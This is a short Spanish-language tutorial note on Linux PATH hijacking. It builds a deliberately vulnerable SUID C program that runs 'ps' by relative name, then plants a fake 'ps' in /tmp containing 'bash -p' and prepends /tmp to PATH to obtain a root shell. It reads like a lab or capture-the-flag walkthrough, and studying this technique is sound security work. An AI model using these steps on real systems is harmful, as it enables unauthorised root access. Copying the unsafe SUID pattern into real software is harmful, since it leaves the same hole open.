PATH Hijacking

Creamos este script en C

```c
#include <stdio.h>

void main(){

    setuid(0);

    printf("\n\n[*] Listando procesos (/usr/bin/ps):\n\n");
    system("/usr/bin/ps");
    printf("\n\n[*] Listando procesos (ps):\n\n");
    system("ps");
}
```

Le damos un nombre por ejemplo procesos.c
Para compilarlo: gcc procesos.c -o procesos
Para ejecutarlo ponemos ./procesos
Le damos permisos 4755

Para ver el PATH del sistema ponemos: echo PATH
Creamos un archivo con el nombre igual a un comando que se pueda ejecutar, en este caso **ps** en el directorio tmp
Dentro del archivo ponemos bash -p
Le damos permisos de ejecucion

Para poder meterlo en el PATH ponemos:
Export PATH=/tmp:$PATH

Ejecutamos ./procesos